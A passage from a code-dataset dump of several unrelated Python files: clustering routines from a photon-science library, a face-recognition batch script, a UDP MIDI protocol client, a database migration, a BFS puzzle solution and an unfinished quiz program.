   Uses a contrarian approach to clustering by maximizing the heterogeneity\n    inside each cluster to ensure that each cluster would be able to capture\n    the entire variance of the original population yielding clusters which are\n    similar to each other in excess to the original population itself.\n\n    Parameters\n    ----------\n    population : (M, N) array_like\n        The M samples of an N dimensional population that needs to be\n        clustered.\n    num_cluster : int (0..M]\n        The number of clusters in which to divide M samples.\n\n    Returns\n    -------\n    indicies : (num_cluster,) list of array of integer\n        The indicies of population that belong to each cluster.\n\n    Raises\n    ------\n    ValueError\n        If num_cluster is less than 1 or more than 65535. The implementation\n        uses uint16 as cluster tag, so it cannot count more than that number of\n        clusters.\n\n    References\n    ----------\n    Mishra, Megha, Chandrasekaran Anirudh Bhardwaj, and Kalyani Desikan. \"A\n    Maximal Heterogeneity Based Clustering Approach for Obtaining Samples.\"\n    arXiv preprint arXiv:1709.01423 (2017).\n\n    \"\"\"\n    logger.info(\"Clustering method is wobbly center.\")\n    xp = cp.get_array_module(population)\n    if num_cluster == 1 or num_cluster == population.shape[0]:\n        return xp.split(xp.arange(population.shape[0]), num_cluster)\n    if not 0 < num_cluster <= min(0xFFFF, population.shape[0]):\n        raise ValueError(\n            f\"The number of clusters must be 0 < {num_cluster} < min(65536, M).\"\n        )\n    # Start with the num_cluster observations closest to the global centroid\n    starting_centroids = xp.argpartition(\n        xp.linalg.norm(population - xp.mean(population, axis=0, keepdims=True),\n                       axis=1),\n        num_cluster,\n        axis=0,\n    )[:num_cluster]\n    # Use a label array to keep track of cluster assignment\n    UNASSIGNED = 0xFFFF\n    labels = xp.full(len(population), UNASSIGNED, dtype='uint16')\n    labels[starting_centroids] = range(num_cluster)\n    # print(f\"\\nStart with labels: {labels}\")\n    for c in range(len(population) - len(starting_centroids)):\n        # c is the label of the cluster getting the next addition\n        c = c % num_cluster\n        # add the unclaimed observation that is furthest from this cluster\n        furthest = xp.argmax(\n            xp.linalg.norm(\n                population[labels == UNASSIGNED] -\n                xp.mean(population[labels == c], axis=0, keepdims=True),\n                axis=1,\n            ),\n            axis=0,\n        )\n        # i is the index of furthest in labels\n        i = xp.argmax(xp.cumsum(labels == UNASSIGNED) == (furthest + 1))\n        # print(f\"{i} will be added to {c}\")\n        labels[i] = c\n        # print(f\"Start with labels: {labels}\")\n    return [cp.asnumpy(xp.flatnonzero(labels == c)) for c in range(num_cluster)]\n\n\ndef wobbly_center_random_bootstrap(\n        population,\n        num_cluster: int,\n        boot_fraction: float = 0.95,\n):\n    \"\"\"Return the indices that divide population into heterogenous clusters.\n\n    Uses a hybrid approach to generate heterogenous clusters. First, a fraction\n    of the population is divided into clusters randomly, then the wobbly center\n    algorithm is used to distriube the remaining segment of the population with\n    the goal of maximizing intracluster heterogeneity.\n\n    Parameters\n    ----------\n    population : (M, N) array_like\n        The M samples of an N dimensional population that needs to be\n        clustered.\n    num_cluster : int (0..M]\n        The number of clusters in which to divide M samples.\n    boot_fraction: (0, 1]\n        The percentage of each cluster that is randomly assigned before\n        starting the wobbly center algorithm.\n\n    Returns\n    -------\n    indicies : (num_cluster,) list of array of integer\n        The indicies of population that belong to each cluster.\n\n    Raises\n    ------\n    ValueError\n        If num_cluster is less than 1 or more than 65535. The implementation\n        uses uint16 as cluster tag, so it cannot count more than that number of\n        clusters.\n\n    References\n    ----------\n    Mishra, Megha, Chandrasekaran Anirudh Bhardwaj, and Kalyani Desikan. \"A\n    Maximal Heterogeneity Based Clustering Approach for Obtaining Samples.\"\n    arXiv preprint arXiv:1709.01423 (2017).\n\n    \"\"\"\n    logger.info(\"Clustering method is wobbly center with random bootstrap.\")\n    xp = cp.get_array_module(population)\n    if num_cluster == 1 or num_cluster == population.shape[0]:\n        return xp.split(xp.arange(population.shape[0]), num_cluster)\n    if not 0 < num_cluster <= min(0xFFFF, population.shape[0]):\n        raise ValueError(\n            f\"The number of clusters must be 0 < {num_cluster} < min(65536, M).\"\n        )\n    # Partially initialize the clusters randomly; each cluster starts with an\n    # equal number of members\n    num_bootstrap = int(len(population) * boot_fraction)\n    num_bootstrap -= num_bootstrap % num_cluster\n    seed = xp.random.choice(\n        len(population),\n        size=num_bootstrap,\n        replace=False,\n    )\n    # Use a label array to keep track of cluster assignment\n    UNASSIGNED = 0xFFFF\n    labels = xp.full(len(population), UNASSIGNED, dtype='uint16')\n    for c in range(num_cluster):\n        labels[seed[c::num_cluster]] = c\n    # print(f\"\\nStart with labels: {labels}\")\n    for c in range(len(population) - num_bootstrap):\n        # c is the label of the cluster getting the next addition\n        c = c % num_cluster\n        # add the unclaimed observation that is furthest from this cluster\n        furthest = xp.argmax(\n            xp.linalg.norm(\n                population[labels == UNASSIGNED] -\n                xp.mean(population[labels == c], axis=0, keepdims=True),\n                axis=1,\n            ),\n            axis=0,\n        )\n        # i is the index of furthest in labels\n        i = xp.argmax(xp.cumsum(labels == UNASSIGNED) == (furthest + 1))\n        # print(f\"{i} will be added to {c}\")\n        labels[i] = c\n        # print(f\"Start with labels: {labels}\")\n    return [cp.asnumpy(xp.flatnonzero(labels == c)) for c in range(num_cluster)]\n\n\ndef compact(population, num_cluster, max_iter=500):\n    \"\"\"Return the indices that divide population into compact clusters.\n\n    Uses an approach that is inspired by the naive k-means algorithm, but it\n    returns equally sized clusters.\n\n    Parameters\n    ----------\n    population : (M, N) array_like\n        The M samples of an N dimensional population that needs to be\n        clustered.\n    num_cluster : int (0..M]\n        The number of clusters in which to divide M samples.\n\n    Returns\n    -------\n    indicies : (num_cluster,) list of array of integer\n        The indicies of population that belong to each cluster. Clusters are\n        sorted from largest to smallest.\n\n    Raises\n    ------\n    ValueError\n        If num_cluster is less than 1 or more than 65535. The implementation\n        uses uint16 as cluster tag, so it cannot count more than that number of\n        clusters.\n\n    \"\"\"\n    logger.info(\"Clustering method is compact.\")\n    # Indexing and serial operations is very slow on GPU, so always use host\n    population = cp.asnumpy(population)\n    if num_cluster == 1 or num_cluster == population.shape[0]:\n        return np.split(np.arange(population.shape[0]), num_cluster)\n    if not 0 < num_cluster <= min(0xFFFF, population.shape[0]):\n        raise ValueError(\n            f\"The number of clusters must be 0 < {num_cluster} < min(65536, M).\"\n        )\n    # Define a constant array used for indexing.\n    _all = np.arange(len(population))\n    # Specify the number of points allowed in each cluster\n    size = np.zeros(num_cluster, dtype='int')\n    max_size = np.full(num_cluster, len(population) // num_cluster)\n    max_size[:len(population) % num_cluster] += 1\n    assert np.sum(max_size) == len(population), (\n        f\"Sum of cluster maximums {np.sum(max_size)} should \"\n        f\"equal the population size {len(population)}!\"\n    )\n\n    # Use kmeans++ to choose initial cluster centers\n    starting_centroids = np.zeros(num_cluster, dtype='int')\n    starting_centroids[0] = np.random.choice(_all, size=1, p=None)[0]\n    distances = np.inf\n    for c in range(1, num_cluster):\n        distances = np.minimum(\n            distances,\n            np.linalg.norm(\n                population - population[starting_centroids[c - 1]],\n                axis=1,\n            )**2,\n        )\n        starting_centroids[c] = np.random.choice(\n            _all,\n            size=1,\n            p=distances / distances.sum(),\n        )[0]\n    centroids = population[starting_centroids]\n\n    # Use a label array to keep track of cluster assignment\n    UNASSIGNED = 0xFFFF\n    labels = np.full(len(population), UNASSIGNED, dtype='uint16')\n\n    # Add all points to initial clusters\n    distances = np.empty((len(population), num_cluster))\n    unfilled_clusters = list(range(num_cluster))\n    _unassigned = list(range(len(population)))\n    for c in unfilled_clusters:\n        distances[:, c] = np.linalg.norm(centroids[c] - population, axis=1)\n        p = starting_centroids[c]\n        labels[p] = c\n        _unassigned.remove(p)\n        size[c] += 1\n    for c in range(num_cluster):\n        if size[c] >= max_size[c]:\n            unfilled_clusters.remove(c)\n    while unfilled_clusters:\n        nearest = np.array(unfilled_clusters)[np.argmin(\n            distances[:, unfilled_clusters],\n            axis=1,\n        )]\n        farthest = np.array(unfilled_clusters)[np.argmax(\n            distances[:, unfilled_clusters],\n            axis=1,\n        )]\n        priority = np.array(_unassigned)[np.argsort(\n            (distances[_all, nearest] -\n             distances[_all, farthest])[_unassigned])]\n        for p in priority:\n            assert labels[p] == UNASSIGNED\n            labels[p] = nearest[p]\n            _unassigned.remove(p)\n            size[nearest[p]] += 1\n            assert size[nearest[p]] <= max_size[nearest[p]], (\n                f\"{size[nearest[p]]} !<= {max_size[nearest[p]]}\"\n            )\n            if size[nearest[p]] >= max_size[nearest[p]]:\n                unfilled_clusters.remove(nearest[p])\n                # re-start with one less available cluster\n                break\n\n    if __debug__:\n        old_objective = _k_means_objective(population, labels, num_cluster)\n\n    # Swap points between clusters to minimize objective\n    for _ in range(max_iter):\n        any_were_swapped = False\n        # Determine distance from each point to each cluster\n        for c in range(num_cluster):\n            distances[:, c] = np.linalg.norm(centroids[c] - population, axis=1)\n        # Determine if each point would be happier in another cluster.\n        # Negative happiness is bad; zero is optimal.\n        labels_wanted = np.argmin(distances, axis=1)\n        happiness = distances[_all, labels_wanted] - distances[_all, labels]\n        # Starting from the least happy point, swap points between groups to\n        # improve net happiness\n        for p in np.argsort(happiness):\n            if happiness[p] < 0:\n                # Compute the change in happiness from swapping this point with\n                # every other point\n                net_happiness = (\n                    + distances[p, labels[p]]\n                    + distances[_all, labels]\n                    - distances[p, labels]\n                    - distances[_all, labels[p]]\n                )  # yapf: disable\n                good_swaps = np.flatnonzero(\n                    np.logical_and(\n                        # only want swaps that improve happiness\n                        net_happiness > 0,\n                        # swapping within a cluster has no effect\n                        labels != labels[p],\n                    ))\n                if good_swaps.size > 0:\n                    any_were_swapped = True\n                    o = good_swaps[np.argmax(net_happiness[good_swaps])]\n                    assert labels[p] != labels[\n                        o], 'swapping within a cluster has no effect!'\n                    labels[o], labels[p] = labels[p], labels[o]\n                    happiness[o] = distances[o, labels_wanted[o]] - distances[\n                        o, labels[o]]\n                    happiness[p] = distances[p, labels_wanted[p]] - distances[\n                        p, labels[p]]\n        if not any_were_swapped:\n            break\n        elif __debug__:\n            objective = _k_means_objective(population, labels, num_cluster)\n            # print(f\"{objective:e}\")\n            # NOTE: Assertion disabled because happiness metric is heuristic\n            # approximation of k-means objective\n            # assert old_objective >= objective, (old_objective, objective)\n            old_objective = objective\n\n        # compute new cluster centroids\n        for c in range(num_cluster):\n            centroids[c] = np.mean(population[labels == c], axis=0)\n\n    if __debug__:\n        for c in range(num_cluster):\n            _assert_cluster_is_full(labels, c, max_size[c])\n    indices = [np.flatnonzero(labels == c) for c in range(num_cluster)]\n    indices.sort(key=len, reverse=True)\n    return indices\n\n\ndef _k_means_objective(population, labels, num_cluster):\n    \"\"\"Return the weighted sum of the generalized variance of each cluster.\"\"\"\n    xp = cp.get_array_module(population)\n    cost = 0\n    for c in range(num_cluster):\n        weight = xp.sum(labels == c)\n        if weight > 1:\n            cost += weight * abs(xp.linalg.det(\n                xp.cov(\n                    population[labels == c],\n                    rowvar=False,\n                )))\n    return cost\n\n\ndef _assert_cluster_is_full(labels, c, size):\n    xp = cp.get_array_module(labels)\n    assert size == np.sum(labels == c), ('All clusters should be full, but '\n                                         f'cluster {c} had '\n                                         f'{xp.sum(labels == c)} points '\n                                         f'when it should have {size}.')\n\n\ndef cluster_wobbly_center(*args, **kwargs):\n    import warnings\n    warnings.warn(\n        'tike.random.cluster_wobbly_center is depreacted. '\n        'Use tike.cluster.wobbly_center instead.',\n        DeprecationWarning,\n    )\n    return wobbly_center(*args, **kwargs)\n\n\ndef cluster_compact(*args, **kwargs):\n    import warnings\n    warnings.warn(\n        'tike.random.cluster_compact is depreacted. '\n        'Use tike.cluster.compact instead.',\n        DeprecationWarning,\n    )\n    return compact(*args, **kwargs)\n","repo_name":"AdvancedPhotonSource/tike","sub_path":"src/tike/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":19059,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"16"}
+{"seq_id":"32475980144","text":"import logging\nfrom pathlib import Path\n\nimport cv2\n\nfrom src.fire.face.face_recognize import SimpleFaceRecognizer\n\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n                    handlers=[logging.StreamHandler()])\n\nlogger = logging.getLogger(__name__)\n\nBATCH_SIZE = 50\n\nknown_face_folder = Path(\"/home/xuefeng/fire-demo/wenxiang_face\")\nrecognizer = SimpleFaceRecognizer(known_face_folder)\n\nvideo_path = r\"/home/xuefeng/fire-demo/wenxiang_face.h264\"\noutput_path = r\"/home/xuefeng/fire-demo/wenxiang_face_result.avi\"\ncap = cv2.VideoCapture(video_path)\n\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\nout = cv2.VideoWriter(output_path, fourcc, 20.0, (640, 480))\n\nimgs = list()\n\nwhile True:\n\n    # logger.info(\"start to read a frame\")\n    ret, frame = cap.read()\n    if ret is False:\n        break\n\n    if len(imgs) < BATCH_SIZE:\n        input_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n        imgs.append(input_frame)\n    else:\n        recognizer.batch_recognize(imgs)\n        imgs = list()\n\n\n    # ids, boxes, scores = recognizer.recognize(input_frame)\n    # logger.info(\"end to process a frame\")\n    # for name, box, score in zip(ids, boxes, scores):\n    #    frame = cv2.rectangle(frame, (box.x, box.y), (box.x+box.w, box.y+box.h), (0, 0, 255), 1)\n    #    font = cv2.FONT_HERSHEY_SIMPLEX\n    #    score = round(score, 3)\n    #    if score < 0.5:\n    #        name = \"unknown\"\n    #    frame = \\\n    #        cv2.putText(frame, '{}: {}'.format(name, score), (box.x, box.y-2), font, 0.5, (0, 0, 255), 1, cv2.LINE_AA)\n\n    # out.write(frame)\n    # cv2.imshow(\"frame\", frame)\n    # if cv2.waitKey(25) & 0xFF == ord('q'):\n    #     break\n\ncap.release()\nout.release()\n# cv2.destroyAllWindows()\n","repo_name":"snowdmonkey/fire","sub_path":"scripts/face_recognition_batch.py","file_name":"face_recognition_batch.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36144569860","text":"\"\"\"updmidi allows to send midi messages via UDP packets.\"\"\"\n\n\nimport struct\nimport socket\nimport time\nimport random\nimport logging\n\n\nclass DecoderError(Exception):\n    \"\"\"Decoding a Proto Packet caused trouble\"\"\"\n    pass\n\n\nclass ProtocolError(Exception):\n    \"\"\"Protocol failed\"\"\"\n    pass\n\n\nclass Packet:\n\n    MAGIC = 0x43414d00\n    MAGIC_MASK = 0xffffff00\n    CMD_INV = 0x49\n    CMD_INV_OK = 0x4f\n    CMD_INV_NO = 0x4e\n    CMD_EXIT = 0x45\n    CMD_MIDI_MSG = 0x4d\n    CMD_MIDI_SYSEX = 0x53\n    CMD_CLOCK = 0x43\n\n    \"\"\"The Packet is stored in an UDP frame.\"\"\"\n    def __init__(self, cmd, seq_num=0, port=0, data=None, ts=None):\n        self.cmd = cmd\n        self.seq_num = seq_num\n        self.port = port\n        self.data = data\n        if ts:\n            self.ts = ts\n        else:\n            t = time.time()\n            sec = int(t)\n            micro = int(t * 1000000) % 1000000\n            self.ts = (sec, micro)\n\n    def __repr__(self):\n        return \"ProtoPacket(cmd={}, seq_num={}, port={}, data={}, ts={})\" \\\n            .format(self.cmd, self.seq_num, self.port, self.data, self.ts)\n\n    def get_cmd(self):\n        return self.cmd\n\n    def get_seq_num(self):\n        return self.seq_num\n\n    def get_port_num(self):\n        return self.port\n\n    def get_data(self):\n        return self.data\n\n    def get_timestamp(self):\n        return self.ts\n\n    @classmethod\n    def decode(cls, data):\n        n = len(data)\n        if n < 24:\n            raise DecoderError(\"MidiPacket too small: {}\".format(n))\n\n        # decode packet\n        magic, port, seq_num, ts_sec, ts_micro, data_size = \\\n            struct.unpack(\">IIIIII\", data[:24])\n\n        # check magic\n        if (magic & cls.MAGIC_MASK) != cls.MAGIC:\n            raise DecoderError(\"Invalid Magic: got={!x}\".format(magic))\n        cmd = magic & 0xff\n\n        # check size\n        if data_size != n - 24:\n            raise DecoderError(\"Invalid Size: got={!x}\".format(data_size))\n\n        # extract data\n        if n > 24:\n            pkt_data = data[24:]\n        else:\n            pkt_data = None\n\n        return cls(cmd, seq_num, port, pkt_data, (ts_sec, ts_micro))\n\n    def encode(self):\n        if self.data:\n            data_size = len(self.data)\n        else:\n            data_size = 0\n        if self.ts:\n            ts0 = self.ts[0]\n            ts1 = self.ts[1]\n        else:\n            ts0 = 0\n            ts1 = 0\n        raw_pkt = struct.pack(\">IIIIII\",\n                              self.MAGIC | self.cmd, self.port, self.seq_num,\n                              ts0, ts1, data_size)\n        if self.data:\n            raw_pkt += self.data\n        return raw_pkt\n\n\nclass Client:\n    def __init__(self, host_addr=None, peer_addr=None, max_pkt_size=1024,\n                 default_host_port=0, default_peer_port=0):\n        if not host_addr:\n            host_addr = ('localhost', default_host_port)\n        if not peer_addr:\n            peer_addr = ('localhost', default_peer_port)\n        host_addr = (socket.gethostbyname(host_addr[0]), host_addr[1])\n        peer_addr = (socket.gethostbyname(peer_addr[0]), peer_addr[1])\n        self.host_addr = host_addr\n        self.peer_addr = peer_addr\n        self.max_pkt_size = max_pkt_size\n        self.sock = socket.socket(family=socket.AF_INET,\n                                  type=socket.SOCK_DGRAM)\n        self.sock.bind(host_addr)\n        # state\n        self.connected = False\n        self.tx_seq_num = 0\n        self.rx_seq_num = 0\n        self.lost_packets = 0\n\n    def get_num_lost_packets(self):\n        return self.lost_packets\n\n    def get_host_addr(self):\n        return self.host_addr\n\n    def get_peer_addr(self):\n        return self.peer_addr\n\n    @staticmethod\n    def parse_addr_str(host_str, default_port):\n        \"\"\"parse a string in hostname[:port] notation\n\n        Return (host_name, port)\n        \"\"\"\n        pos = host_str.find(':')\n        if pos == -1:\n            return (host_str, default_port)\n        host_name = host_str[:pos]\n        port = int(host_str[pos+1:])\n        return (host_name, port)\n\n    def __repr__(self):\n        return \"Client(host_addr={}, max_pkt_size={})\".format(\n            self.host_addr, self.max_pkt_size\n        )\n\n    def connect(self, timeout=5, default_port=0):\n        \"\"\"talk invite protocol to connect to server.\"\"\"\n        if self.connected:\n            raise RuntimeError(\"already connected!\")\n\n        # send invitation packet\n        self.tx_seq_num = random.randint(0, 0xffffffff)\n        inv_pkt = Packet(Packet.CMD_INV, seq_num=self.tx_seq_num)\n        logging.debug(\"send inv packet\")\n        self.sock.sendto(inv_pkt.encode(), self.peer_addr)\n\n        # wait for reply\n        self.sock.settimeout(timeout)\n        try:\n            logging.debug(\"wait for reply\")\n            data, got_addr = self.sock.recvfrom(self.max_pkt_size)\n            if got_addr != self.peer_addr:\n                raise ProtocolError(\"Wrong peer in invitation!\")\n            ret_pkt = Packet.decode(data)\n        except socket.timeout:\n            raise ProtocolError(\"No invitation reply received!\")\n\n        # check reply packet\n        cmd = ret_pkt.get_cmd()\n        logging.debug(\"got reply: %02x\", cmd)\n        if cmd == Packet.CMD_INV_NO:\n            raise ProtocolError(\"Invitation rejected!\")\n        elif cmd != Packet.CMD_INV_OK:\n            raise ProtocolError(\"Unexpected packet in connect!\")\n\n        # connected\n        self.connected = True\n        self.rx_seq_num = ret_pkt.get_seq_num()\n        self.last_rx_ts = time.monotonic()\n        self.last_clock_ts = self.last_rx_ts\n\n    def disconnect(self):\n        if not self.connected:\n            raise RuntimeError(\"not connected!\")\n\n        # send exit packet\n        exit_pkt = Packet(Packet.CMD_EXIT)\n        self._send_pkt(exit_pkt)\n\n        self.connected = False\n\n    def _send_clock(self, now):\n        pkt = Packet(Packet.CMD_CLOCK)\n        self._send_pkt(pkt)\n        logging.debug(\"send clock: %r\", pkt.get_timestamp())\n\n    def _recv_pkt(self, send_clock_interval, idle_time):\n        # choose a suitable timeout\n        timeout = send_clock_interval / 5\n        self.sock.settimeout(timeout)\n\n        # loop until idle time reached\n        last_rx_ts = self.last_rx_ts\n        last_clock_ts = self.last_clock_ts\n        while True:\n            now = time.monotonic()\n            delta = now - last_rx_ts\n            # idle time reached - abort\n            if delta >= idle_time:\n                raise ProtocolError(\"server is idle for %d sec\" % idle_time)\n\n            # send clock?\n            delta = now - last_clock_ts\n            if delta >= send_clock_interval:\n                self._send_clock(now)\n                last_clock_ts = now\n\n            try:\n                data, addr = self.sock.recvfrom(self.max_pkt_size)\n                self.last_rx_ts = time.monotonic()\n                self.last_clock_ts = last_clock_ts\n                return data, addr\n            except socket.timeout:\n                pass\n\n    def recv(self, send_clock_interval=2, idle_time=5):\n        \"\"\"receive next data packet and return port_num, data, sysex\"\"\"\n        if not self.connected:\n            raise RuntimeError(\"not connected!\")\n\n        while True:\n            # receive packet and handle clock\n            data, addr = self._recv_pkt(send_clock_interval, idle_time)\n\n            # check peer addr\n            if addr != self.peer_addr:\n                raise ProtocolError(\"wrong peer: \" + addr)\n\n            # check seq num\n            pkt = Packet.decode(data)\n            self.rx_seq_num += 1\n            pkt_seq_num = pkt.get_seq_num()\n            my_seq_num = self.rx_seq_num\n            if pkt_seq_num < my_seq_num:\n                raise ProtocolError(\"invalid seq_num: \" + pkt_seq_num)\n            elif pkt_seq_num > my_seq_num:\n                # packets lost!\n                num_lost = pkt_seq_num - my_seq_num\n                self.rx_seq_num = pkt_seq_num\n                self.lost_packets += num_lost\n\n            # check cmd\n            cmd = pkt.get_cmd()\n            if cmd == Packet.CMD_MIDI_MSG:\n                # return midi msg\n                return pkt.get_port_num(), pkt.get_data(), False\n            elif cmd == Packet.CMD_MIDI_SYSEX:\n                # return midi sysex\n                return pkt.get_port_num(), pkt.get_data(), True\n            elif cmd == Packet.CMD_CLOCK:\n                logging.debug(\"peer clock: %r\", pkt.get_timestamp())\n            else:\n                raise ProtocolError(\"no data: \" + pkt)\n\n    def _send_pkt(self, pkt):\n        \"\"\"send a ProtoPacket to client at addr\"\"\"\n        if not self.connected:\n            raise RuntimeError(\"not connected!\")\n\n        # inject seq num\n        self.tx_seq_num += 1\n        pkt.seq_num = self.tx_seq_num\n\n        # encode and send packet\n        data = pkt.encode()\n        self.sock.sendto(data, self.peer_addr)\n        return pkt\n\n    def send_msg(self, port_num, data):\n        pkt = Packet(Packet.CMD_MIDI_MSG, port=port_num, data=data)\n        return self._send_pkt(pkt)\n\n    def send_sysex(self, port_num, data):\n        pkt = Packet(Packet.CMD_MIDI_SYSEX, port=port_num, data=data)\n        return self._send_pkt(pkt)\n\n    def close(self):\n        if self.connected:\n            self.disconnect()\n        self.sock.close()\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, typ, val, tb):\n        self.close()\n","repo_name":"cnvogelg/amiditools","sub_path":"host/amiditools/proto.py","file_name":"proto.py","file_ext":"py","file_size_in_byte":9383,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"20130555825","text":"\"\"\"add time fields to intercview\n\nRevision ID: 960ea5c7cf84\nRevises: 2a485a76386e\nCreate Date: 2021-12-26 23:44:52.317244\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '960ea5c7cf84'\ndown_revision = '2a485a76386e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('interview', sa.Column('link', sa.String(), nullable=True))\n    op.add_column('interview', sa.Column('date', sa.Date(), nullable=True))\n    op.add_column('interview', sa.Column('time', sa.Time(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('interview', 'time')\n    op.drop_column('interview', 'date')\n    op.drop_column('interview', 'link')\n    # ### end Alembic commands ###\n","repo_name":"AmaRocket/pet_interview_platform","sub_path":"migrations/versions/960ea5c7cf84_add_time_fields_to_intercview.py","file_name":"960ea5c7cf84_add_time_fields_to_intercview.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11150200741","text":"from collections import deque\n\ndef main():\n    dx = [0, 0, -1, 1]\n    dy = [-1, 1, 0, 0]\n\n    r, c = map(int, input().split())\n    s = deque()\n    q = deque()  # waters\n    d = []\n    waterVisited = [[0 for _ in range(c)] for _ in range(r)]\n    sVisited = [[0 for _ in range(c)] for _ in range(r)]\n    for i in range(r):\n        forest = input()\n        for j in range(c):\n            if forest[j] == 'S':  # 고슴도치면\n                s.append([i, j, 0])  # 좌표, 시간\n                sVisited[i][j] = 1\n            elif forest[j] == 'D':  # 비버집이면\n                sVisited[i][j] = 2\n                waterVisited[i][j] = 1  # 물은 비버집 접근 못함\n            elif forest[j] == '*':  # 물이면\n                q.append((i, j))  # bfs 위한 큐\n                waterVisited[i][j] = 1\n                sVisited[i][j] = 1  # 어차피 고슴도치는 물 있는 곳 못가\n            elif forest[j] == 'X':\n                waterVisited[i][j] = 1  # 물 접근 못하니까 이미 방문한걸로\n                sVisited[i][j] = 1  # 고슴도치도 돌에 접근 못함\n\n    while s:\n        newQ = deque()\n        # 홍수 bfs\n        for temp in q:\n            for i in range(4):\n                newX = temp[0] + dx[i]\n                newY = temp[1] + dy[i]\n                if 0 <= newX < r and 0 <= newY < c and waterVisited[newX][newY] == 0:\n                    waterVisited[newX][newY] = 1\n                    sVisited[newX][newY] = 1 # 물 퍼지면 고슴도치 못 가\n                    newQ.append((newX, newY))\n        q = newQ\n        # 고슴도치 옮기기\n        newS = []\n        for ss in s:\n            for i in range(4):\n                newX = ss[0] + dx[i]\n                newY = ss[1] + dy[i]\n                if 0 <= newX < r and 0 <= newY < c:\n                    if sVisited[newX][newY] == 2:  # d 를 2로 해뒀으니까\n                        print(ss[2] + 1)\n                        return\n                    elif sVisited[newX][newY] == 0:\n                        sVisited[newX][newY] = 1\n                        newS.append([newX, newY, ss[2] + 1])\n        s = newS\n    else:\n        print('KAKTUS')\n\n\nmain()","repo_name":"twinklesu/algorithm_py","sub_path":"3055.py","file_name":"3055.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73446232007","text":"# Quiz program \n# import all required libraries to call ready functions \nfrom collections import namedtuple\nfrom tkinter.messagebox import QUESTION\nimport random\nimport emoji \n\n# Present all the questions in tuples with multiple answers and specify the correct answer.\nQuestion= namedtuple(\"Question\", [\"question\", \"answers\", \"correct_answer\"])\n\n# Welcoming message that will be used later. \nWelcoming = \"\"\"Hello {name}, welcome to the Quiz ! \nEnter the answer number to proceed to the next question\nYou will be asked {n} questions.\nBest of luck! \\U0001f600 \"\"\"\n\n# This function will be called when the current user finishes the quiz to ask if someone else wants to take the quiz afterwards. \ndef competitor():\n            new_user = input(\"Anybody else wants to take the quiz?(yes or no): \")\n            # Returns a string after converting all characters to upper case\n            new_user = new_user.upper()\n            if new_user ==\"YES\":\n                return True\n                \n            else:\n                return False\n\n\n# Declaring a dictionary that will be used in the program later. \nmyDict = {} \n\n# Creating a function to take the number of questions that the user wants to take and present it\n# The program will stop when the specified number of questions is reached \n# Return questions at random each time the quiz is taken\ndef user_questions(questions_num):\n    questions_num = min(questions_num, len(questions))\n    return random.sample(questions, k=questions_num)\n\n# Function to run the quiz \ndef play_quiz(name, questions):\n\n    # The function will only run through a specific number of questions the user has selected.\n    questions = user_questions(\n    questions_num=quiz_questions \n    )\n    \n    score = 0\n\n     # For Loop that runs through questions and their answers \n    for question in questions:\n        print(question.question)\n        for i, answer in enumerate(question.answers, start=1):\n            print(f\"{i}. {answer}\")\n\n        answers=[\"1\",\"2\",\"3\",\"4\"]\n\n        # The user will enter his/her answer here.   \n        response = input(\"Your answer is: \")\n\n        # if user enter different answer not listed in the option, the program will raise error and ask for corrent entry.  \n        while response not in answers:\n             print(\"you need to enter one of the answers 1,2,3 or 4\")\n             response=input()\n\n        # After the user answers the question, the program will raise a message saying whether the answer is correct or not.\n        # The program will not add a score if the answer is incorrect. Instead, it will print the correct answer and pass it to the next question.\n        # If the answer is correct, the program will add a score.\n\n        if response != question.correct_answer:\n            print(emoji.emojize(f\"Sorry, that is incorrect :zipper-mouth_face: , the correct answer is {answer}\"))\n        else:\n            print(emoji.emojize(f'Well done :thumbs_up: {response} is correct '))\n            # Counter to calculate the score. \n            score += 1 \n\n        # When the user finishes the quiz, the program will save the user name and score in a dictionary that has been declared before.\n        # This way will make the data easily accessible for later use and can be called all at once. \n        myDict[name]=int((score/10)*100)\n\n        # Print the current score while the quiz is running \n        print(f\"Your current score is {int((score/10)*100)}% out of {int(len(questions)*10)}%\")\n\n    # Print the final score for the user.\n    print(f\"Your final score is {int((score/10)*100)}% out of {int(len(questions)*10)}%\")\n    print(f\"Thank you {name} for playing the quiz, goodbye! \\U0001f600\")\n\n\n\n\n# The if-statement is used here to run the code only if our program is executed. \nif __name__ == \"__main__\": \n    questions = [Question(\"Which planet has the most moons ? \",\n                          [\"Saturn\", \"Mercury\", \"Venus\", \"Uranus\"], \"1\"),\n                 Question(\"Where is the smallest bone in human ? \",\n                          [\"Back\", \"Ear\", \"Finger\", \"Leg\"], \"2\",),\n                          Question(\"How many hearts does an octopus have ? \",\n                          [\"7\", \"1\", \"2\", \"3\"], \"4\",),\n                          Question(\"Which city had the first ever fashion week ? \",\n                          [\"New York\", \"Paris\", \"France\", \"Italy\"], \"1\",),\n                          Question(\"What is the smallest country in the world ? \",\n                          [\"Monaco\", \"Nauru\", \"Southern France\", \"Vatican City\"], \"4\",),\n                          Question(\"Which london underground line has the most stations ? \",\n                          [\"Bond Street\", \"Westminster\", \"Central\", \"District line\"], \"4\",),\n                          Question(\"Which UK city is banksy from ? \",\n                          [\"Bristol\", \"London\", \"Birmingham\", \"Manchester\"], \"1\",),\n                          Question(\"What is the smallest unit of memory ? \",\n                          [\"Megabytes\", \"Gigabyte\", \"kilobytes\", \"Terabyte\"], \"3\",),\n                          Question(\"Which animal can be seen on the porshe logo 